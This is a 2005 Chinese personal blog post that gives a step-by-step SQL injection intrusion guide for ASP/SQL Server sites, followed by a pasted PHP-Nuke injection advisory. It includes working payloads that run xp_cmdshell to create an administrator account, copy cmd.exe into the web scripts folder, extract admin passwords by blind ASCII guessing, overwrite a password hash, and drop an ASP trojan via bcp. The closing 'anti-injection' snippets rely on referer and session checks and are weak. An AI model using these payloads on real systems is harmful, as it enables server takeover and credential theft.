关于作者

用户名:ygandlm
笔名:ygandlm
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



友情链接

推荐站点

访问统计:
文章个数:15
评论个数:6
留言条数:1451




Powered by BlogDriver 2.1

勇哥儿的博客

 

    网络就像一张无边无际的网——连接你我她(他),网络安全与攻击就像矛与盾——在对立中寻求统一, 网络真好…… 网络真坏……

文章

SQL注入不完全思路与防注入程序
<一>SQL注入简介

  许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可

以提交一段数据库查询代码,(一般是在浏览器地址栏进行,通过正常的www端口访问)根据程序返回的结

果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

  <二>SQL注入思路

  思路最重要。其实好多人都不知道SQL到底能做什么呢?这里总结一下SQL注入入侵的总体的思路:

  1. SQL注入漏洞的判断,即寻找注入点

  2. 判断后台数据库类型

  3. 确定XP_CMDSHELL可执行情况;若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩

展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行,则整个计算机可以通过几种

方法完全控制,也就完成了整个注入过程,否则继续:

  1. 发现WEB虚拟目录

  2. 上传ASP木马;

  3. 得到管理员权限

  具体步骤:

  一、SQL注入漏洞的判断

  如果以前没玩过注入,请把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉



  为了把问题说明清楚,以下以HTTP://www.163.com/news.asp?id=xx(这个地址是假想的),为例进行

分析,xx可能是整型,也有可能是字符串。

  1、整型参数的判断

  当输入的参数xx为整型时,通常news.asp中SQL语句原貌大致如下:

select * from 表名 where 字段=xx,所以可以用以下步骤测试SQL注入是否存在。

  最简单的判断方法

HTTP://www.163.com/news.asp?id=xx’(附加一个单引号),

  此时news.asp中的SQL语句变成了

select * from 表名 where 字段=xx’,

  如果程序没有过滤好“’”的话,就会提示 news.asp运行异常;但这样的方法虽然很简单,但并不

是最好的,因为:

  first,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句

的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系

统管理员联络。

  second,目前大多数程序员已经将“’“ 过滤掉,所以用” ’”测试不到注入点,所以一般使用经

典的1=1和1=2测试方法,见下文:

HTTP://www.163.com/news.asp?id=xx and 1=1, news.asp运行正常,

  而且与HTTP://www.163.com/news.asp?id=xx运行结果相同;

HTTP://www.163.com/news.asp?id=xx and 1=2, news.asp运行异常;(这就是经典的 1=1 1=2 判断方法



  如果以上面满足,news.asp中就会存在SQL注入漏洞,反之则可能不能注入。

  2、字符串型参数的判断

  方法与数值型参数判断方法基本相同

  当输入的参数xx为字符串时,通常news.asp中SQL语句原貌大致如下:

select * from 表名 where 字段='xx',所以可以用以下步骤测试SQL注入是否存在。

HTTP://www.163.com/news.asp?id=xx’(附加一个单引号),此时news.asp中的SQL语句变成了
select * from 表名 where 字段=xx’,news.asp运行异常;
HTTP://www.163.com/news.asp?id=xx and '1'='1', news.asp运行正常,

  而且与HTTP://www.163.com/news.asp?id=xx运行结果相同;

HTTP://www.163.com/news.asp?id=xx and '1'='2', news.asp运行异常;

  如果以上满足,则news.asp存在SQL注入漏洞,反之则不能注入

  3、特殊情况的处理

  有时ASP程序员会在程序员过滤掉单引号等字符,以防止SQL注入。此时可以用以下几种方法试一试。

  ①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么

全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;

  ②UNICODE法:在IIS中,以UNICODE字符集实现国际化,我们完全可以IE中输入的字符串化成UNICODE

字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;

  ③ASCII码法:可以把输入的部分或全部字符全部

  <4>出了上述方法以外,还有个更简单的方法就是使用现成的工具像NB联盟的NBSI就是一款很不错

的工具,目前最新的版本为2.2




二、判断数据库类型

  不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。

一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

  怎么让程序告诉你它使用的什么数据库呢?来看看:

  SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以

直接从出错信息获取,方法如下:
HTTP://www.163.com/news.asp?id=xx;and user>0

  这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现

这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,

我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个

nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错

,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int

的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在

以后的篇幅里,大家会看到很多用这种方法的语句。 顺便说几句,众所周知,SQLServer的用户sa是个等

同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法

可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生

错误,而不是”sa”。

  如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区

别入手,Access和

SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但

在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

  在确认可以注入的情况下,使用下面的语句:

HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0

  如果数据库是SQLServer,那么第一个网址的页面与原页面HTTP://www.163.com/news.asp?id=xx是大

致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原

页面完全不同。

  如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址

,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情

况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

 三、确定XP_CMDSHELL可执行情况

  若当前连接数据的帐号具有SA权限,且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以

直接使用操作系统的shell)能够正确执行,则整个计算机可以通过以下几种方法完全控制,以后的所有步

骤都可以省

  1、HTTP://www.163.com/news.asp?id=xx and user>;0 news.asp执行异常但可以得到当前连接数据

库的用户名(若显示dbo则代表SA)。

  2、HTTP://www.163.com/news.asp?id=xx and db_name()>0 news.asp执行异常但可以得到当前连接

的数据库名。

  3、HTTP://www.163.com/news.asp?id=xx;exec master..xp_cmdshell “net user aaa bbb /add”

-- (master是SQL-SERVER的主数据
库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示

其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。

  4、HTTP://www.163.com/news.asp?id=xx;exec master..xp_cmdshell “net localgroup

administrators aaa /add”-- 把刚刚增加
的帐户aaa加到administrators组中。

  5、HTTP://www.163.com/news.asp?id=xx;backuup database 数据库名 to

disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容
全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

  6、通过复制CMD创建UNICODE漏洞

HTTP://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell “copy

c:\winnt\system32\cmd.exe

  c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整

个计算机的控制(当然首选要知道WEB虚拟目录)。

  这样你就成功的完成了一次SQL注入攻击,先别兴奋,在实践时你就会发现这比理论要难的多会有更

多的困难等着你come over ,下面GO ON如果上述条件不成立则需继续奋斗(要挂马了:))

GO ON~!

  当上述条件不成立时就要继续下面的步骤
(一)、发现WEB虚拟目录

  只有找到WEB虚拟目录,才能确定放置ASP木马的位置,进而得到USER权限。有两种方法比较有效。

  一是根据经验猜解,一般来说,WEB虚拟目录是:c:\inetpub\wwwroot;

D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可执行虚拟目录是:
c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。

  二是遍历系统的目录结构,分析结果并发现WEB虚拟目录;

  先创建一个临时表:temp

HTTP://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2

nvarchar(255),num3
nvarchar(255));--

  接下来:

  1 我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:

HTTP://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--

  我们可以通过查询temp的内容来获得驱动器列表及相关信息

  2 我们可以利用xp_subdirs获得子目录列表,并存入temp表中:

HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

  3 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:

HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree

'c:\';--

  这样就可以成功的浏览到所有的目录(文件夹)列表:

  如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:

HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type

c:\web\index.asp';--

  使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from

'c:\inetpub\wwwroot\index.asp'
浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设

与管理信息,甚至可以得到SA帐号的连接密码。

  当然,如果xp_cmshell能够执行,我们可以用它来完成:

HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir

c:\';--
HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\

*.asp /s/a';--

  通过xp_cmdshell我们可以看到所有想看到的,包括W3svc

HTTP://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

  但是,如果不是SA权限,我们还可以使用

HTTP://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree

'c:\';--

  注意:

  1、以上每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:

HTTP://www.163.com/news.asp?id=xx;delete from temp;--

  2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)
HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0

  得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然news.asp工作异常,但在异常中却可

以发现id字段的值。假设发现的表名是xyz,则

HTTP://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id

not in('xyz'))>0

  得到表TEMP中第二条记录id字段的值。

  (二)、上传ASP木马

  所谓ASP木马,就是一段有特殊功能的ASP代码,并放入WEB虚拟目录的Scripts下,远程客户通过IE就

可执行它,进而得到系统的USER权限,实现对系统的初步控制。上传ASP木马一般有两种比较有效的方法



  1、利用WEB的远程管理功能

  许多WEB站点,为了维护的方便,都提供了远程管理的功能;也有不少WEB站点,其内容是对于不同的

用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正

确的值,才能进行下一步的操作,可以实现对WEB的管理,如上传、下载文件,目录浏览、修改配置等。

  因此,若获取正确的用户名与密码,不仅可以上传ASP木马,有时甚至能够直接得到USER权限而浏览

系统,上一步的“发现WEB虚拟目录”的复杂操作都可省略。

  用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方

法。

  A、 注入法:

  从理论上说,认证网页中会有型如:

  select * from admin where username='XXX' and password='YYY' 的语句,若在正式运行此句之前

,没有进行必要的字符过滤,则很容易实施SQL注入。

  如在用户名文本框内输入:abc’ or 1=1-- 在密码框内输入:123 则SQL语句变成:

select * from admin where username='abc’ or 1=1 and password='123’

  不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。

  B、猜解法:

  基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜

出表中的每个字段名,猜出表中的每条记录内容。

  a 猜解所有数据库名称

HTTP://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where

name>1 and dbid=6) <>0

  因为dbid的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了 name>1

(name字段是一个字符型的字段和数字比较会出错),news.asp工作异常,可得到第一个数据库名,同理把D

BID分别改成7,8,9,10,11,12…就可得到所有数据库名。

  以下假设得到的数据库名是TestDB。

  b 猜解数据库中用户名表的名称

  猜解法:此方法就是据个人的经验猜表名,一般来说,

  user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuse

r,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通过语句进行判断

  HTTP://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存

在,则news.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。

  读取法:SQL-SERVER有一个存放系统核心信息的表sysobjects,有关一个库的所有表,视图等信息全

部存放在此表中,而且此表可以通过WEB进行访问。

  当xtype='U' and status>0代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以

得到用户名表的名称,基本的实现方法是:

  ①HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects

where xtype='U' and status>0 )>0
得到第一个用户建立表的名称,并与整数进行比较,显然news.asp工作异常,但在异常中却可以发现表的

名称。假设发现的表名是xyz,则

  ②HTTP://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects

where xtype='U' and status>0 and
name not in('xyz'))>0 可以得到第二个用户建立的表的名称,同理就可得到所有用建立的表的名称。

  根据表的名称,一般可以认定那张表用户存放用户名及密码,以下假设此表名为Admin。

c 猜解用户名字段及密码字段名称

  admin表中一定有一个用户名字段,也一定有一个密码字段,只有得到此两个字段的名称,才有可能

得到此两字段的内容。如何得到它们的名称呢,同样有以下两种方法。

  猜解法:此方法就是根据个人的经验猜字段名,一般来说,用户名字段的名称常用:username,name,

user,account等。而密码字段的名称常用:password,pass,pwd,passwd等。并通过语句进行判断

HTTP://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0

“select count(字段名) from 表名”

  语句得到表的行数,所以若字段名存在,则news.asp工作正常,否则异常。如此循环,直到猜到两个

字段的名称。

  读取法:基本的实现方法是

HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from

TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是从sysobjects得到已知

表名的第一个字段名,当与整数进行比较,显然news.asp工作异常,但在异常中却可以发现字段的名称。

把col_name(object_id('admin'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。

  d 猜解用户名与密码

  猜用户名与密码的内容最常用也是最有效的方法有:

  ASCII码逐字解码法:虽然这种方法速度较慢,但肯定是可行的。基本的思路是先猜出字段的长度,然

后依次猜出每一位的值。猜用户名与猜密码的方法相同,以下以猜用户名为例说明其过程。

HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from

TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username

  为用户名字段的名称,admin为表的名称),若x为某一值i且news.asp运行正常时,则i就是第一个用

户名的长度。如:当输入
HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8时

news.asp运行正常,则第一个用户名的长度为8

  HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from

TestDB.dbo.admin)=n

(m的值在1到上一步得到的用户名长度之间,当m=1,2,3,…时猜测分别猜测第1,2,3,…位的值;n的值是

1~9、a~z、A~Z的ASCII值,也就是1~128之间的任意值;admin为系统用户帐号表的名称),若n为某一值i

且news.asp运行正常时,则i对应ASCII码就是用户名某一位值。如:当输入
HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from

TestDB.dbo.admin)=80时news.asp运行正常,则用户名的第三位为P(P的ASCII为80);HTTP://www.163.co

m/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33

时news.asp运行正常,则用户名的第9位为!(!的ASCII为80);猜到第一个用户名及密码后,同理,可以猜

出其他所有用户名与密码。注意:有时得到的密码可能是经MD5等方式加密后的信息,还需要用专用工具

进行脱密。或者先改其密码,使用完后再改回来,见下面说明。简单法:猜用户名用HTTP://www.163.com

/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) ,

flag是admin表中的一个字段,username是用户名字段,此时news.asp工作异常,但能得到Username的值

。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。

  猜用户密码:HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from

TestDB.dbo.admin where pwd>1) , flag是admin表中的一个字段,pwd是密码字段,此时news.asp工作

异常,但能得到pwd的值。与上同样的方法,可以得到第二用户名的密码,第三个用户的密码等等,直到

表中的所有用户的密码。密码有时是经MD5加密的,可以改密码。

  HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a'

where username='www';-- ( 1的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;www为已知的用户名)用

同样的方法当然可把密码改原来的值。

  2、利用表内容导成文件功能

  SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张

临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。

  命令行格式如下:

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\163.asp –c –S localhost –U sa

–P foobar
  ('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个163.asp的木马)

  3、利用工具,如NBSI给出的一些参考数据最重要的表名:







select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses





  最重要的一些用户名(默认sql数据库中存在着的)







public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID












(三)、得到系统的管理员权限

  ASP木马只有USER权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限

的方法有很多种:

  上传木马,修改开机自动运行的.ini文件(它一重启,便死定了);

  复制CMD.exe到scripts,人为制造UNICODE漏洞;

  下载SAM文件,破解并获取OS的所有用户名密码;

  等等,视系统的具体情况而定,可以采取不同的方法。

  那么我们怎么防注入呢?程序如下加入到asp或html或php或cgi里面都可以。经过测试。加入如

top.asp文件中开头

  方法一:







<%if session("username"="" or session("userkey"="" then
response.redirect "../../"
end if%>





  (说明:只要有用户注入则跳转到../../目录,呵呵,看你怎么给我注入)

  方法二:







<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")
server_v2=Cstr(Request.ServerVariables("SERVER_NAME")
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black

bgcolor=#EEEEEE width=450>"
response.write "<tr><td style=“font:9pt Verdana“>"
response.write "你提交的路径有误,禁止从站点外部提交数据请不要乱该参数!"
response.write "</td></tr></table></center>"
response.end
end if
%>





  (说明:只要有用户注入则判断为外部连接哦,呵呵,看你怎么给我注入)

  方法三:







<% dim From_url,Serv_url
From_url = Cstr(Request.ServerVariables("HTTP_REFERER")
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "NO"
response.redirect("../"
response.end
end if%>





  (说明:只要有用户注入则跳转到../(这个可以改为其它网站,或其它页面,给它们一点小的警告也

行哦)目录,呵呵,看你怎么给我注入)

  黑客与安全是紧密的……




- 作者: 古典辣M° 2005年05月31日, 星期二 03:20  回复(0) |  引用(0) 加入博采

攻击代码
四、总结

  在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置

的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦

,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们

的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。
最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!


SQL的Members_List、Your_Account模块中存在注入缺陷。如果magic_quotes_gpc选项为“OFF”,攻击者

使用下列攻击方法及代码能利用该缺陷:

  PHP代码/位置:

?/modules/Members_List/index.php :
------------------------------------------------------------------------
[...]
$count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users ";
$select = "select uid, name, uname, femail, url from
".$user_prefix."_users ";
$where = "where uname != Anonymous ";

if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) {
$where .= "AND uname like ".$letter."% ";

} else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) {
$where .= "AND uname REGEXP \"^\[1-9]\" ";

} else {
$where .= "";
}
$sort = "order by $sortby";
$limit = " ASC LIMIT ".$min.", ".$max;

$count_result = sql_query($count.$where, $dbi);
$num_rows_per_order = mysql_result($count_result,0,0);

$result = sql_query($select.$where.$sort.$limit, $dbi) or die();


echo "<br>";
if ( $letter != "front" ) {
echo "<table width=\"100%\" border=\"0\"
cellspacing=\"1\"><tr>\n";
echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font
color=\"$textcolor2\"><b>"._NICKNAME."</b></font></td>\n";
echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font
color=\"$textcolor2\"><b>"._REALNAME."</b></font></td>\n";
echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font
color=\"$textcolor2\"><b>"._EMAIL."</b></font></td>\n";
echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><font
color=\"$textcolor2\"><b>"._URL."</b></font></td>\n";
$cols = 4;
[...]
------------------------------------------------------------------------

/modules/Your_Account/index.php :
switch($op) {
[...]
case "mailpasswd":
mail_password($uname, $code);
break;

case "userinfo":
userinfo($uname, $bypass, $hid, $url);
break;

case "login":
login($uname, $pass);
break;
[...]
case "saveuser":
saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass,
$bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest,
$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter);
break;
[...]
case "savehome":
savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast,
$popmeson);
break;

case "savetheme":
savetheme($uid, $theme);
break;
[...]
case "savecomm":
savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax);
break;
[...]
}
------------------------------------------------------------------------

/modules/Your_Account/index.php :
[...]
function saveuser($uid, $realname, $uname, $email, $femail, $url, $pass,
$vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest,
$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter) {
global $user, $Cookie, $userinfo, $EditedMessage, $user_prefix, $dbi,
$module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
if (!eregi("http://";, $url)) {
$url = "http://$url";
}
if ((isset($pass)) && ("$pass" != "$vpass")) {
echo "<center>"._PASSDIFFERENT."</center>";
} elseif (($pass != "") && (strlen($pass) < $minpass)) {
echo "<center>"._YOUPASSMUSTBE." <b>$minpass</b>
"._CHARLONG."</center>";
} else {
if ($bio) { filter_text($bio); $bio = $EditedMessage; $bio =
FixQuotes($bio); }
if ($pass != "") {
Cookiedecode($user);
sql_query("LOCK TABLES ".$user_prefx."_users WRITE", $dbi);
$pass = md5($pass);
sql_query("update ".$user_prefix."_users set name=$realname,
email=$email, femail=$femail, url=$url, pass=$pass, bio=$bio ,
user_avatar=$user_avatar, user_icq=$user_icq, user_occ=$user_occ,
user_from=$user_from, user_intrest=$user_intrest, user_sig=$user_sig,
user_aim=$user_aim, user_yim=$user_yim, user_msnm=$user_msnm,
newsletter=$newsletter where uid=$uid", $dbi);
$result = sql_query("select uid, uname, pass, storynum, umode, uorder,
thold, noscore, ublockon, theme from ".$user_prefix."_users where
uname=$uname and pass=$pass", $dbi);
if(sql_num_rows($result, $dbi)==1) {
$userinfo = sql_fetch_array($result, $dbi);

doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],
$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
$userinfo[theme],$userinfo[commentmax]);
} else {
echo "<center>"._SOMETHINGWRONG."</center><br>";
}
sql_query("UNLOCK TABLES", $dbi);
} else {
sql_query("update ".$user_prefix."_users set name=$realname,
email=$email, femail=$femail, url=$url, bio=$bio,
user_avatar=$user_avatar, user_icq=$user_icq, user_occ=$user_occ,
user_from=$user_from, user_intrest=$user_intrest, user_sig=$user_sig,
user_aim=$user_aim, user_yim=$user_yim, user_msnm=$user_msnm,
newsletter=$newsletter where uid=$uid", $dbi);
if ($attach) {
$a = 1;
} else {
$a = 0;
}
}
Header("Location: modules.php?name=$module_name");
}
}
}
[...]
function savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast,
$popmeson) {
global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
if(isset($ublockon)) $ublockon=1; else $ublockon=0;
$ublock = FixQuotes($ublock);
sql_query("update ".$user_prefix."_users set storynum=$storynum,
ublockon=$ublockon, ublock=$ublock, broadcast=$broadcast,
popmeson=$popmeson where uid=$uid", $dbi);
getusrinfo($user);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umod

e],
$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
$userinfo[theme],$userinfo[commentmax]);
Header("Location: modules.php?name=$module_name");
}
}

function savetheme($uid, $theme) {
global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
sql_query("update ".$user_prefix."_users set theme=$theme where
uid=$uid", $dbi);
getusrinfo($user);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],
$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],
$userinfo[theme],$userinfo[commentmax]);
Header("Location: modules.php?name=$module_name&theme=$theme");
}
}
[...]
function savecomm($uid, $uname, $umode, $uorder, $thold, $noscore,
$commentmax) {
global $user, $Cookie, $userinfo, $user_prefix, $dbi, $module_name;
Cookiedecode($user);
$check = $Cookie[1];
$check2 = $Cookie[2];
$result = sql_query("select uid, pass from ".$user_prefix."_users where
uname=$check", $dbi);
list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
if (($uid == $vuid) AND ($check2 == $ccpass)) {
if(isset($noscore)) $noscore=1; else $noscore=0;
sql_query("update ".$user_prefix."_users set umode=$umode,
uorder=$uorder, thold=$thold, noscore=$noscore,
commentmax=$commentmax where uid=$uid", $dbi);
getusrinfo($user);
doCookie($userinfo[uid],$userinfo[uname],$userinfo[pass],
$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],
$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
Header("Location: modules.php?name=$module_name");
}
}
[...]
------------------------------------------------------------------------

/modules/Your_Account/index.php :
[...]
function mail_password($uname, $code) {
global $sitename, $adminmail, $nukeurl, $user_prefix, $dbi,
$module_name;
$result = sql_query("select email, pass from ".$user_prefix."_users
where (uname=$uname)", $dbi);
if(!$result) {
include("header.php");
OpenTable();
echo "<center>"._SORRYNOUSERINFO."</center>";
CloseTable();
include("footer.php");
[...]
------------------------------------------------------------------------


------------------------------------------------------------------------
[...]
function userinfo($uname, $bypass=0, $hid=0, $url=0) {
global $user, $Cookie, $sitename, $prefix, $user_prefix, $dbi, $admin,
$broadcast_msg, $my_headlines, $module_name;
$result = sql_query("select uid, femail, url, bio, user_avatar,
user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest,
user_sig, pass, newsletter from ".$user_prefix."_users where
uname=$uname", $dbi);
$userinfo = sql_fetch_array($result, $dbi);
[...]
------------------------------------------------------------------------


------------------------------------------------------------------------
[...]
function login($uname, $pass) {
global $setinfo, $user_prefix, $dbi, $module_name;
$result = sql_query("select pass, uid, storynum, umode, uorder, thold,
noscore, ublockon, theme, commentmax from ".$user_prefix."_users where
uname=$uname", $dbi);
$setinfo = sql_fetch_array($result, $dbi);
[...]
}
[...]
Members_List模块:

  - 显示用户:

http://[target]/modules.php?name=Members_List&letter=All&sortby=pass

  - 显示用户:

